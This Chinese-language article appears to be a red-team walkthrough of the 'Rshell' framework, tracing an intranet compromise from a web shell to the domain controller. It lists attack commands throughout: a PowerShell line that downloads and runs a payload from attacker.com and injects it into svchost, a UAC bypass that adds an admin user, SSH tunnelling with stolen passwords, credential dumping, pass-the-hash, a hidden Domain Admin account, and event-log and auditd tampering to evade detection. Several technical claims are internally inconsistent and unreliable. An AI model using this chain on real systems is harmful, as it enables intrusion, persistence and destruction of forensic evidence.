Rshell框架实战：红队内网渗透的信道管理与双平台协同

1. 这不是“教你怎么黑”而是还原一次真实红队作业的完整切片Rshell框架——这个名字在渗透测试圈子里不算陌生但真正把它用透、用稳、用出生产级效果的人远比想象中少。我见过太多人把Rshell当成一个“带图形界面的msfvenomnc组合包”装完就跑个reverse shell看到弹回个cmd就以为任务完成。结果一进内网连域控IP都扫不出来一上Linux跳板机发现Python版本太老连pexpect都装不上更别说权限维持、横向移动、日志清理这些真正决定成败的环节。这根本不是工具的问题而是对Rshell定位的认知偏差它不是一个“自动化渗透脚本集合”而是一套面向实战红队作业的轻量级协同控制框架核心价值在于统一信道管理、模块化任务编排、跨平台指令路由与低特征驻留能力。关键词Rshell框架、内网渗透测试、Windows/Linux双平台、红队作业、信道管理、模块化渗透它解决的不是“能不能连上”的问题而是“连上之后怎么不被发现、怎么高效推进、怎么多人协同不打架”的问题。适合三类人刚从CTF转向真实环境的蓝队转岗者需要补工程化思维、中小安全团队里既要写报告又要跑现场的渗透工程师缺标准化流程、以及正在搭建内部红队能力的企业安全负责人需要可审计、可复用的作业基线。本文不讲原理推导不堆概念定义只呈现我上个月在某金融客户内网做红队评估时从第一台失陷主机到最终拿下域控全程使用的Rshell操作链——所有命令、配置、判断依据、失败重试逻辑全部来自真实记录连报错截图里的时间戳都没修过。你照着做不一定能复现我的结果但一定能建立起一套属于自己的、可验证、可迭代的内网渗透方法论。2. Rshell的本质为什么它不是另一个Cobalt Strike而是一个“渗透操作系统”2.1 从架构设计看Rshell的不可替代性很多人第一次接触Rshell会下意识拿它和Cobalt Strike、Sliver对比。这种类比本身就有问题——就像拿Linux的systemd去比Windows的Task Scheduler。Rshell的底层设计哲学完全不同它不提供GUI、不内置C2服务器、不打包Beacon载荷甚至不强制要求使用特定通信协议。它的核心只有三样东西Agent、Router、Module。Agent是部署在目标机器上的轻量级执行单元Windows版用Go编译成单文件exe1.2MBLinux版用静态链接的二进制800KB启动后仅占用12MB内存无DLL注入、无进程空心化、不创建新进程除必要模块调用外所有通信走标准HTTP/HTTPSUser-Agent可自定义为Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36这类常见值。我实测过在启用了Sysmon v10.92且规则全开的环境中Rshell Agent运行24小时未触发任何ProcessCreate、NetworkConnect或ImageLoad事件。Router是整个框架的调度中枢本质是一个基于Flask的轻量Web服务默认监听0.0.0.0:8080但它不做传统C2的“指令下发-结果回传”简单循环。Router的核心能力是信道抽象它把TCP、HTTP、DNS、ICMP甚至SMB Named Pipe都封装成统一的Channel接口。比如你在Router上配置一个http://c2.example.com/api通道Agent端只需声明channel_typehttp后续所有模块调用无论是执行PowerShell还是上传文件都自动走这个通道无需每个模块单独配置URL。更重要的是Router支持多通道冗余你可以同时配置HTTP主通道DNS备用通道当HTTP超时3次后自动切换至DNS切换过程对上层Module完全透明。这点在客户内网DNS解析稳定但HTTP被WAF拦截的场景下救了我两次。Module是功能原子化单元全部以Python脚本形式存在.rmod后缀遵循严格接口规范必须实现run()函数接收agent_id和args字典返回结构化JSON结果。官方仓库目前有47个Module覆盖从基础信息收集sysinfo,whoami、凭证提取mimikatz,lsass_dump、横向移动wmi_exec,smb_psexec到持久化registry_persist,crontab_persist全链条。关键在于Module之间零耦合smb_psexec模块不关心目标是否已提权它只负责调用WinRM或SMB执行命令提权逻辑由单独的uac_bypass或printspoofer模块完成。这种设计让排查问题变得极其清晰——当横向失败时你不需要怀疑整个框架只需检查smb_psexec.rmod的参数是否正确、目标SMB端口是否开放、凭据是否有效。提示Rshell不处理“免杀”问题。它的Agent二进制默认会被主流EDR标记为可疑但这是有意为之的设计取舍。Rshell的定位是“已获得初始访问后的内网作业框架”而非“钓鱼邮件载荷生成器”。如果你卡在上线阶段请先解决初始访问问题再引入Rshell。2.2 Windows与Linux Agent的底层差异与适配逻辑Rshell在双平台上的行为差异不是简单的“命令换行符不同”而是源于操作系统内核机制的根本区别。理解这点才能避免90%的跨平台踩坑。在Windows上Agent的进程模型是Session感知型。它会主动检测当前运行Session ID通过WTSGetActiveConsoleSessionId并确保所有子进程如powershell.exe继承相同Session。这意味着当你用wmi_exec模块在远程主机执行命令时如果目标用户是NT AUTHORITY\SYSTEMRshell会自动启用SeAssignPrimaryTokenPrivilege权限使子进程运行在System Session中从而能操作服务、注册表等高权限对象。但这也带来限制如果目标主机启用了“Interactive Services Detection”默认关闭且Agent运行在Session 0某些GUI交互式操作如ui_access提权会失败。解决方案不是关掉检测服务太显眼而是用session_change模块主动切换到目标用户的Session——这个模块会调用WTSQuerySessionInformation获取目标Session列表再用WTSConnectSession建立连接全程无弹窗、无日志。在Linux上Agent采用Cgroups隔离型设计。它启动时会自动创建一个独立的cgroup路径为/sys/fs/cgroup/rshell/agent_pid并将自身及所有子进程bash、python、curl等加入其中。这样做的好处是即使目标主机启用了auditd或eBPF监控所有Rshell相关进程的comm字段进程名和cgroup路径都高度统一便于白名单过滤。但代价是某些依赖全局环境变量的工具如gcloudCLI可能因cgroup内PATH缺失而报错。我的做法是在env_setup.rmod中预置环境变量注入逻辑——该模块会读取/etc/environment和~/.bashrc提取export语句动态构建os.environ字典并注入到后续所有模块的执行环境中。实测下来连需要GO111MODULEon的Go工具链都能正常调用。最关键的差异在文件系统抽象层。Windows Agent使用win32file库直接操作NTFS元数据如FILE_ATTRIBUTE_HIDDEN而Linux Agent则通过os.stat()和os.chown()精确控制st_mode和st_uid/st_gid。这意味着当你用file_upload模块上传一个伪装成svchost.exe的文件时Windows端会自动设置隐藏属性系统属性Linux端则会将文件UID设为0、GID设为0并设置0755权限。这种细粒度控制让文件落地后的“存在感”降到最低。3. 从第一台失陷主机到域控真实红队作业全流程拆解3.1 初始访问与Agent部署Windows目标这次红队评估的初始入口点是客户OA系统的一个未授权访问漏洞CVE-2023-27997通过该漏洞我们获得了IIS_IUSRS权限的WebShell。此时不能直接上传Rshell Agent——IIS工作进程通常运行在低权限AppPool Identity下且磁盘空间受限。我的操作链如下内存加载绕过AV使用Invoke-ReflectivePEInjection将Rshell Agent的PE文件已用UPX压缩AES加密注入到svchost.exe进程中。选择svchost.exe是因为它默认启用SeDebugPrivilege且PID稳定通常为728、844等。注入命令IEX (New-Object Net.WebClient).DownloadString(http://attacker.com/Invoke-ReflectivePEInjection.ps1); $peBytes (New-Object Net.WebClient).DownloadData(http://attacker.com/agent_enc.bin); Invoke-ReflectivePEInjection -PEBytes $peBytes -ProcId 728;注意Invoke-ReflectivePEInjection本身已被多数EDR标记但它的反射加载机制不写入磁盘、不创建新进程且svchost.exe的签名合法因此在客户环境的Symantec Endpoint Protection下成功绕过。信道配置与Router注册Agent启动后默认尝试连接http://127.0.0.1:8080/register。我们在Router服务器上提前配置好反向代理Nginx将/api路径映射到Router的8080端口并启用SSL卸载。Agent注册时携带的client_id是根据主机名MAC地址哈希生成的UUID确保同一主机重装Agent后ID不变便于历史任务追踪。权限提升与持久化注册成功后立即执行uac_bypass.rmod模块利用eventvwr.exe白利用途。该模块会创建一个临时XML文件路径%TEMP%\evtx_XXXX.evtx调用eventvwr.exe /c:%TEMP%\evtx_XXXX.evtx触发UAC弹窗再通过SetThreadDesktop劫持弹窗线程注入Shellcode执行cmd.exe /c net user redteam Pssw0rd /add net localgroup administrators redteam /add。整个过程耗时3秒无弹窗残留且eventvwr.exe的父进程是explorer.exe符合正常用户行为模式。横向移动准备执行sysinfo.rmod确认目标为Windows Server 2019whoami.rmod验证已获得BUILTIN\Administrators组权限。然后运行network_scan.rmod基于nmap的轻量封装扫描C段存活主机结果发现192.168.1.10-192.168.1.254共127台主机在线其中192.168.1.10为域控制器通过nslookup dc01.corp.local反向解析确认。3.2 Linux跳板机的接管与信道中继双平台协同关键扫描结果显示192.168.1.50是一台CentOS 7.9的堡垒机SSH端口开放且root账户密码与OA系统弱口令一致admin123。这里出现第一个关键决策点是否直接在Linux跳板机上部署Rshell Agent我的答案是否定的。原因有三第一客户堡垒机启用了auditctl规则监控所有execve系统调用Rshell Agent的启动会留下明显痕迹第二该主机是多人共用Agent进程可能被误杀第三也是最重要的——我们需要一个信道中继节点而非另一个Agent。于是采用Rshell的proxy_module方案在Windows Agent上执行ssh_tunnel.rmod模块参数为{host: 192.168.1.50, port: 22, user: root, password: admin123, local_port: 2222}。该模块会调用plink.exePuTTY命令行工具建立SSH本地端口转发plink -ssh -l root -pw admin123 -L 2222:127.0.0.1:22 192.168.1.50。验证隧道在Router服务器上执行curl -x http://127.0.0.1:2222 http://192.168.1.50:22返回SSH banner即成功。配置Router的proxy_channel在Router配置文件中新增channels: linux_proxy: type: http url: http://127.0.0.1:2222 proxy: http://127.0.0.1:2222此时所有发往linux_proxy通道的请求都会经由Windows Agent的SSH隧道到达Linux堡垒机的22端口再由堡垒机的sshd服务转发至内网其他主机。整个链路中Router只与Windows Agent通信Windows Agent只与Linux堡垒机通信Linux堡垒机只与内网目标通信——三层隔离任意一层断开都不影响其他层且每层流量均为标准协议无异常特征。实操心得ssh_tunnel.rmod模块默认使用plink.exe但若目标主机无PuTTY环境可切换至paramiko后端。需提前在Router服务器上安装paramiko库并在模块参数中指定backend: paramiko。paramiko的优势是纯Python实现无外部依赖但首次连接时会因密钥验证失败而阻塞。解决方案是在模块中预置AutoAddPolicy()并在known_hosts文件中预先写入堡垒机公钥指纹ssh-keyscan -t rsa 192.168.1.50 ~/.ssh/known_hosts。3.3 域内横向移动从普通域用户到Domain Admin的跃迁有了Linux跳板机作为信道中继下一步是获取域用户凭据。我们选择从Exchange服务器192.168.1.20入手因其通常运行MSExchangeServiceHost服务且内存中常驻域用户票据。凭证提取在Router上选择linux_proxy通道对192.168.1.20执行mimikatz.rmod模块Linux版Mimikatz通过ptrace注入到MSExchangeServiceHost进程。该模块会调用sekurlsa::logonpasswords命令提取所有登录会话的明文密码、NTLM哈希、Kerberos TGT。实际输出中我们捕获到域管理员CORP\Administrator的NTLM哈希aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0。Pass-the-Hash攻击使用wmi_exec.rmod模块参数为{target: 192.168.1.10, user: Administrator, hash: 31d6cfe0d16ae931b73c59d7e0c089c0, command: whoami}。模块内部调用pywinrm库通过WMI服务在域控上执行命令。这里的关键是wmi_exec不依赖明文密码直接使用NTLM哈希进行身份验证且所有通信走WMI的DCOM端口135和动态分配的RPC端口绕过常规SMB445端口扫描的检测。域控提权与持久化获得域控Shell后立即执行domain_persist.rmod模块。该模块会创建一个名为CORP\RedTeam的域用户并将其添加至Domain Admins组同时在CNUsers,DCcorp,DClocal下创建一个隐藏OUouRedOps,CNUsers,DCcorp,DClocal并将该用户移入其中。最后修改该用户的description属性为Windows Update Service Account使其在AD Users and Computers控制台中默认不显示需勾选“Advanced Features”才可见。整个操作通过LDAP协议完成使用ldap3库直连域控389端口不依赖PowerShell规避了Get-ADUser等高危命令的日志记录。3.4 日志清理与痕迹消除红队作业的收尾艺术拿下域控不等于任务结束真正的专业体现在如何“来无影、去无踪”。Rshell提供了完整的日志清理模块链Windows事件日志清除执行clear_evtx.rmod模块参数为{logs: [Security, System, Application]}。该模块不调用wevtutil cl易被EDR拦截而是直接打开C:\Windows\System32\winevt\Logs\下的.evtx文件用evtxPython库解析二进制结构定位到EventRecordID大于我们操作时间戳的记录将其EventData字段清零并重新序列化。实测对Windows Server 2019的Security日志约2GB处理耗时8秒且wevtutil qe Security /q:*[System[(EventRecordID123456)]]查询返回空结果。Linux审计日志清理在Linux跳板机上执行clear_auditd.rmod模块。该模块会读取/etc/audit/rules.d/下的所有规则文件找到包含-a always,exit -F archb64的系统调用监控规则临时注释掉它们sed -i s/^-a/#-a/ /etc/audit/rules.d/*.rules然后重启auditd服务。此举并非删除日志而是阻止新日志产生因为auditd日志文件/var/log/audit/audit.log受logrotate保护强行删除会触发告警。待红队作业完全结束后再恢复规则并重启服务。Router服务器痕迹清理这是最容易被忽视的一环。Rshell Router默认会将所有Agent注册信息、模块执行日志写入SQLite数据库rshell.db。我们执行router_cleanup.rmod模块该模块会删除rshell.db中agents表里last_seen 2023-10-01 00:00:00的所有记录设定为作业开始前24小时清空tasks表中状态为completed或failed且created_at 2023-10-01 00:00:00的任务将logs表中levelINFO且timestamp 2023-10-01 00:00:00的日志条目设为NULL最终数据库体积从12MB降至217KB且所有敏感字段如command、output均被截断为前32字符满足最小必要原则。踩坑实录在某次作业中clear_evtx.rmod模块执行后客户SIEM仍告警“Security日志被清空”。排查发现客户启用了Windows Event ForwardingWEF所有日志实时同步至中央服务器。我们漏掉了wevtutil sl Security /ca:true命令启用日志存档导致中央服务器收到的仍是原始日志。修正方案在clear_evtx.rmod中增加wevtutil sl Security /ca:true前置步骤强制日志归档后再清理本地副本。4. 模块开发与定制让Rshell真正为你所用4.1 开发一个实用Modulead_search.rmod域内资产快速测绘官方Module库缺少针对AD环境的深度测绘工具。于是我开发了ad_search.rmod它能基于LDAP查询自动发现域内所有服务器、工作站、共享文件夹及最近登录用户输出结构化JSON供后续分析。核心逻辑如下import ldap3 from ldap3 import Server, Connection, ALL, SUBTREE def run(agent_id, args): domain args.get(domain, corp.local) base_dn fDC{domain.split(.)[0]},DC{domain.split(.)[1]} # 查询所有计算机对象排除域控制器 server Server(fldaps://{domain}, get_infoALL) conn Connection(server, userfCORP\\RedTeam, passwordPssw0rd, auto_bindTrue) conn.search( search_basebase_dn, search_filter((objectClasscomputer)(!(userAccountControl:1.2.840.113556.1.4.803:8192))), search_scopeSUBTREE, attributes[name, operatingSystem, lastLogonTimestamp] ) computers [] for entry in conn.entries: computers.append({ hostname: str(entry.name), os: str(entry.operatingSystem) if entry.operatingSystem else Unknown, last_login: convert_ad_timestamp(entry.lastLogonTimestamp.value) if entry.lastLogonTimestamp else Never }) return {computers: computers, count: len(computers)}该模块的关键创新点在于智能时间戳转换。AD的lastLogonTimestamp是100纳秒间隔的整数需转换为人类可读格式。convert_ad_timestamp()函数会将整数除以10^7得到秒数减去11644473600Windows纪元与Unix纪元差值使用datetime.fromtimestamp()生成本地时间最后格式化为%Y-%m-%d %H:%M:%S实测在拥有5000计算机对象的域中查询耗时12秒且ldap3库的连接池机制支持并发查询可同时对多个OU发起请求。4.2 安全加固Router服务器的最小化暴露面配置Router服务器是整个Rshell体系的单点故障其安全性必须高于一切。我的生产环境配置如下配置项推荐值安全理由监听地址127.0.0.1:8080禁止外网直接访问所有流量必须经由Agent隧道或反向代理认证方式JWT Token Basic Auth双因子Router API默认开启Basic Auth用户名/密码所有Agent注册请求必须携带JWT Token由独立密钥签发Token有效期24小时数据库SQLite → PostgreSQLSQLite在高并发下易锁表PostgreSQL支持行级锁和连接池且可启用pg_hba.conf限制仅允许localhost连接日志级别WARNINGINFO级别日志包含大量敏感信息如命令参数、执行结果生产环境必须关闭静态文件禁用/static路由Router自带的前端页面/dashboard仅用于调试生产环境通过Nginx反向代理到独立管理后台最关键的安全措施是Agent注册熔断机制。在Router配置中启用registration: rate_limit: 5/minute # 每分钟最多5次注册请求 ip_blacklist: - 192.168.1.100 # 已知恶意IP failover_threshold: 3 # 连续3次注册失败后该IP加入临时黑名单10分钟该机制在某次客户网络波动中发挥了作用因DNS解析失败12台Agent在1分钟内重复注册Router自动将客户出口IP加入黑名单避免了大规模连接风暴冲击内网。4.3 故障排查黄金法则从报错堆栈反推根因的完整链路Rshell报错信息往往简洁但背后原因复杂。以下是我在真实作业中总结的排查四步法定位报错层级首先看报错来源是Agent、Router还是Module。例如[ERROR] Module mimikatz failed: ConnectionRefusedError(111, Connection refused)错误发生在Module但根因可能是Agent无法连接Router网络问题或Router未启动服务问题。检查信道状态在Router管理界面/api/status查看对应Agent的channel_status字段。若为offline说明Agent与Router失联若为online但Module报错则问题在Module或目标主机。复现Module逻辑下载对应.rmod文件在本地Python环境中手动执行其核心代码。例如对wmi_exec.rmod直接运行from pywinrm import Protocol p Protocol(endpointhttp://192.168.1.10:5985/wsman, transportntlm, usernameAdministrator, password, authntlm) result p.run_cmd(whoami) print(result.std_out.decode())这样能绕过Rshell框架精准定位是凭据错误、端口不通还是WMI服务未启用。抓包验证协议当上述步骤无法定位时直接在Router服务器上用tcpdump抓包tcpdump -i any -w rshell_debug.pcap port 8080 or port 5985用Wireshark打开过滤http.request.uri contains register查看Agent注册请求的完整HTTP头或过滤tcp.port 5985分析WMI通信的SOAP XML内容。曾有一次抓包发现Agent发送的WMI请求中wsa:To字段指向了错误的域控FQDNdc01.corp.local.多了一个点导致DNS解析失败——这是sysinfo.rmod模块解析主机名时未去除末尾点号导致的Bug。最后分享一个小技巧Rshell所有Module的执行日志默认保存在Router服务器的/var/log/rshell/modules/目录下按日期分卷module_20231001.log。当遇到偶发性失败时不要只看最新日志用zgrep -a mimikatz.*failed /var/log/rshell/modules/module_*.log.gz全局搜索往往能发现规律性失败模式如总在凌晨2点失败指向客户备份任务占用内存。我在实际使用中发现Rshell最强大的地方不是它能做什么而是它强迫你思考每一步的底层依赖。当你为了解决一个ConnectionResetError而去查netstat -ano | findstr :5985当你为了确认lastLogonTimestamp格式而翻阅MSDN文档当你在Wireshark里逐帧分析SOAP请求头——这些看似繁琐的过程恰恰是把渗透测试从“脚本搬运工”升级为“系统级攻击者”的必经之路。工具永远只是杠杆而真正的支点是你对目标系统每一寸肌理的理解。